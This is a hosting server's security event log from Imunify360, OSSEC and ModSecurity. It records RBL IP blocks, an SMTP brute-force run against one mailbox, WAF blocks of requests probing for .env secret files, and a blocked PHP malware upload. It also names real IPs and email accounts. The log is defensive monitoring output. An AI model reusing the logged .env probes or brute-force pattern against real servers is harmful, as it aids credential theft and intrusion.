country_id: 6252001
description:
2026-07-25 11:38:16 dovecot_login authenticator failed for H=(sIsIYo5xM) [31.57.184.42]:27667: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.132.215.237
country_id: 1819730
description:
Jul 25 11:38:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.132.215.237 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.196.53.86
country_id: 458258
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-38.196.196.53.86||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.37
country_id: 130758
description:
Jul 25 11:38:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.37 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.243.81.101
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-38.91.243.81.101||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.163.215.131
country_id: 1562822
description:
Jul 25 11:40:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.163.215.131 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.72
country_id: 130758
description:
Jul 25 11:39:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.72 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:39:14 dovecot_login authenticator failed for H=(5SHjZLYagA) [31.57.184.42]:49228: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 148.66.155.73
country_id: 1880251
description:
Jul 25 11:40:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 148.66.155.73 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:40:13 dovecot_login authenticator failed for H=(UaLwpA7k) [31.57.184.42]:18845: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 25 11:40:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.167
country_id: 732800
domain: cpanel.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=56gahz01&v=fzhk3||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.9.98.210
country_id: 2921044
description:
Jul 25 11:40:55 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.9.98.210 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:41:13 dovecot_login authenticator failed for H=(LSR48s) [31.57.184.42]:40795: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 163.172.60.23
country_id: 3017382
description:
Jul 25 11:41:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 163.172.60.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:41:52 dovecot_login authenticator failed for H=(R8POrLpS) [31.57.184.42]:14904: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.153.86.250
country_id: 3469034
description:
Jul 25 11:41:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.153.86.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.153.86.250
country_id: 3469034
description:
2026-07-25 11:42:00 dovecot_login authenticator failed for H=(abts-north-static-109.51.160.122.airtelbroadband.in) [200.153.86.250]:47735: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.105.128.185
country_id: 1814991
description:
Jul 25 11:41:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.105.128.185 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.167
country_id: 732800
domain: cpanel.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/.env?_=8j7pqgh1&v=qj86z||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.93.89.70
country_id: 130758
description:
Jul 25 11:41:56 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.93.89.70 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.167
country_id: 732800
domain: cpanel.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/var/.env?_=03fwh3pa&v=2vh9e||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.190.242.203
country_id: 1814991
description:
Jul 25 11:43:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.190.242.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.169.136.182
country_id: 6252001
description:
Jul 25 11:42:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.169.136.182 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.106.104.25
country_id: 1562822
description:
Jul 25 11:42:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.106.104.25 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:42:30 dovecot_login authenticator failed for H=(osvTWAON) [31.57.184.42]:29130: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: CPHULK
name: Login Blocked by cpHulk
abuser: 31.57.184.42
country_id: 6252001
description:
Login Blocked: IP reached maximum auth failures for a one day block [Service]=[dovecot] [Local IP Address]=[192.168.74.189] [Remote IP Address]=[31.57.184.42] [Authentication Database]=[mail] [Username]=[sadiq@metrodigitals.com] (30/30 failures) (blocked until [Sun Jul 26 06:12:28 2026 UTC/Sun Jul 26 11:42:28 2026 LOCAL])


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 62.112.222.27
country_id: 798544
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-42.62.112.222.27||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 142.93.208.47
country_id: 1269750
description:
Jul 25 11:42:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 142.93.208.47 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.144.158.62
country_id: 2017370
description:
Jul 25 11:42:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.144.158.62 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.144.158.62
country_id: 2017370
description:
2026-07-25 11:42:52 dovecot_login authenticator failed for H=([102.38.3.104]) [91.144.158.62]:54968: 535 Incorrect authentication data (set_id=shokria)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.255.170.48
country_id: 2017370
description:
Jul 25 11:42:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.255.170.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.250.200.4
country_id: 2245662
description:
Jul 25 11:42:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.250.200.4 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.245.236.231
country_id: 1562822
description:
Jul 25 11:43:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.245.236.231 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.243.81.129
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-43.91.243.81.129||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.169.120.17
country_id: 1814991
description:
Jul 25 11:43:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.169.120.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 51.178.251.73
country_id: 3017382
description:
Jul 25 11:43:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 51.178.251.73 has been locked due to Imunify RBL


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 93.123.109.167
country_id: 732800
domain: cpanel.ibmcglobal.com
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/app/.env?_=87s5wj3e&v=fd85t||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.143.249.102
country_id: 1835841
description:
2026-07-25 11:43:55 dovecot_login authenticator failed for H=([59.37.13.66]) [125.143.249.102]:46757: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:43:27 dovecot_login authenticator failed for H=(cHujMD4o6F) [31.57.184.42]:49655: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.223.250.50
country_id: 1814991
description:
Jul 25 11:44:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.223.250.50 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 75.158.203.80
country_id: 6251999
description:
Jul 25 11:43:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 75.158.203.80 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.143.249.102
country_id: 1835841
description:
Jul 25 11:43:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.143.249.102 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.26.252.159
country_id: 6252001
description:
Jul 25 11:44:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.26.252.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.169.120.17
country_id: 1814991
description:
2026-07-25 11:43:21 dovecot_login authenticator failed for H=(ipmapt-72-195-34-45.oc.oc.cox.net) [60.169.120.17]:56900: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.242.28.103
country_id: 6252001
description:
Jul 25 11:43:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.242.28.103 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.242.28.103
country_id: 6252001
description:
2026-07-25 11:43:39 dovecot_login authenticator failed for H=(h-176-10-203-54.A463.priv.bahnhof.se) [23.242.28.103]:38028: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:44:25 dovecot_login authenticator failed for H=(1rLPlWLjYQ) [31.57.184.42]:5621: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 79.220.127.123
country_id: 2921044
description:
Jul 25 11:44:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 79.220.127.123 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.90.185.28
country_id: 130758
description:
Jul 25 11:44:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.90.185.28 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 193.169.239.198
country_id: 2750405
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-44.193.169.239.198||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.223.250.50
country_id: 1814991
description:
2026-07-25 11:44:13 dovecot_login authenticator failed for H=([49.124.151.16]) [60.223.250.50]:43487: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 51.159.139.206
country_id: 3017382
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-44.51.159.139.206||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.57.200.119
country_id: 1835841
description:
Jul 25 11:45:10 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.57.200.119 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.216.118.192
country_id: 1562822
description:
Jul 25 11:44:50 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.216.118.192 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.157.132.42
country_id: 1814991
description:
Jul 25 11:44:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.157.132.42 has been locked due to Imunify RBL


plugin: modsec
rule: 33331
name: IM360 WAF: Attempt to upload malware
abuser: 103.47.134.101
country_id: 1643084
domain: www.idealloanz.com.au
description:
IM360 WAF: Attempt to upload malware||Action:||Scan duration:178710||Sizes:132||Combined size:132||User:idealloanzcom||WPU:||Filename:img_4948.php||Scanned:/tmp//20260725-114530-amRUgvDcJkPTc00IM3pSAQAAARM-file-W3UXE6||SC:/home/idealloanzcom/public_html/administrator/index.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.160.244.105
country_id: 1880251
description:
Jul 25 11:45:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.160.244.105 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:45:24 dovecot_login authenticator failed for H=(sbni4UEla6) [31.57.184.42]:24511: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.196.53.86
country_id: 458258
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-45.196.196.53.86||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.163.8.64
country_id: 1814991
description:
Jul 25 11:45:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.163.8.64 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.7
country_id: 130758
description:
Jul 25 11:45:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.7 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.196.37.197
country_id: 1814991
description:
Jul 25 11:45:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.196.37.197 has been locked due to Imunify RBL


plugin: modsec
rule: 33341
name: IM360 WAF: Track file upload for Infectors
abuser: 103.47.134.101
country_id: 1643084
domain: www.idealloanz.com.au
description:
IM360 WAF: Track file upload for Infectors||RSV:8.35||T:APACHE||SC:/home/idealloanzcom/public_html/administrator/index.php||User:idealloanzcom||WPU:||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.138.98.28
country_id: 1814991
description:
Jul 25 11:46:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.138.98.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:46:42 dovecot_login authenticator failed for H=(TcnRV5) [31.57.184.42]:53200: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 164.92.198.75
country_id: 2921044
description:
Jul 25 11:46:59 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 164.92.198.75 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:46:23 dovecot_login authenticator failed for H=(H9F1AjiJO) [31.57.184.42]:46440: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.33.249.217
country_id: 1814991
description:
Jul 25 11:46:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.33.249.217 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.59.167.172
country_id: 2635167
description:
Jul 25 11:46:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.59.167.172 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:47:22 dovecot_login authenticator failed for H=(mLqLzgPm) [31.57.184.42]:2655: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 149.34.251.245
country_id: 6252001
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-47.149.34.251.245||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.54.200.14
country_id: 1814991
description:
Jul 25 11:48:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.54.200.14 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:48:19 dovecot_login authenticator failed for H=(JcVtb4M) [31.57.184.42]:24630: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 8.210.191.157
country_id: 1819730
description:
Jul 25 11:49:07 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 8.210.191.157 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 196.196.53.86
country_id: 458258
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-48.196.196.53.86||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:49:18 dovecot_login authenticator failed for H=(GAdONFoBOU) [31.57.184.42]:46170: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 5.9.98.210
country_id: 2921044
description:
Jul 25 11:49:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 5.9.98.210 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.165.126.207
country_id: 1269750
description:
Jul 25 11:49:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.165.126.207 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.178.227.0
country_id: 3469034
description:
2026-07-25 11:50:13 dovecot_login authenticator failed for H=([192.111.129.146]) [45.178.227.0]:41594: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.51
country_id: 130758
description:
Jul 25 11:50:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.51 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.10.181.244
country_id: 3469034
description:
2026-07-25 11:50:53 dovecot_login authenticator failed for H=([211.184.53.155]) [177.10.181.244]:38864: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.62
country_id: 130758
description:
Jul 25 11:50:44 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.88.56.201
country_id: 6252001
description:
Jul 25 11:50:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.88.56.201 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:50:15 dovecot_login authenticator failed for H=(ovzagI) [31.57.184.42]:2203: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.10.181.244
country_id: 3469034
description:
Jul 25 11:50:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.10.181.244 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 139.196.220.240
country_id: 1814991
description:
Jul 25 11:50:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 139.196.220.240 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 91.243.81.41
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-50.91.243.81.41||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:50:53 dovecot_login authenticator failed for H=(69oWUDYM) [31.57.184.42]:16219: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.178.227.0
country_id: 3469034
description:
Jul 25 11:50:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.178.227.0 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.167.58
country_id: 6252001
description:
Jul 25 11:51:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.167.58 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:51:12 dovecot_login authenticator failed for H=(Q4gP6905oI) [31.57.184.42]:23106: 535 Incorrect authentication data (set_id=sadiq@metrodigitals.com)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 51.158.237.187
country_id: 2750405
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:11-51.51.158.237.187||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.195.184.129
country_id: 2802361
description:
2026-07-25 11:52:51 dovecot_login authenticator failed for H=d54c3b881.access.telenet.be ([111.26.62.37]) [84.195.184.129]:60002: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.152.165.117
country_id: 1562822
description:
Jul 25 11:53:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.152.165.117 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:52:28 dovecot_login authenticator failed for H=(plUBf4) [31.57.184.42]:51070: 535 Incorrect authentication data (set_id=sadiq)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.171.211.213
country_id: 2635167
description:
Jul 25 11:52:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.171.211.213 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.195.184.129
country_id: 2802361
description:
Jul 25 11:52:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.195.184.129 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.57.184.42
country_id: 6252001
description:
2026-07-25 11:53:26 dovecot_login authenticator failed for H=(ZJsLLGgvk) [31.57.184.42]:7418: 535 Incorrect authentication data (set_id=sadiq)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.90.234.245
country_id: 1282988
description:
Jul 25 11:53:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 116.90.234.245 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 182.95.116.66
country_id: 1269750
description:
Jul 25 11:53:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 182.95.116.66 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.161.242.168
country_id: 1835841
description:
Jul 25 11:54:00 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.161.242.168 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.116.66
country_id: 1269750
description:
2026-07-25 11:53:40 dovecot_login authenticator failed for H=([98.170.57.251]) [182.95.116.66]:47006: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.219.70.92
country_id: 130758
description:
Jul 25 11:54:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.219.70.92 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.254.25.63
country_id: 6252001
description:
Jul 25 11:53:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.254.25.63 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 192.253.248.23
country_id: 130758
description:
Jul 25 11:53:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 192.253.248.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.32.53
country_id: 1668284
description:
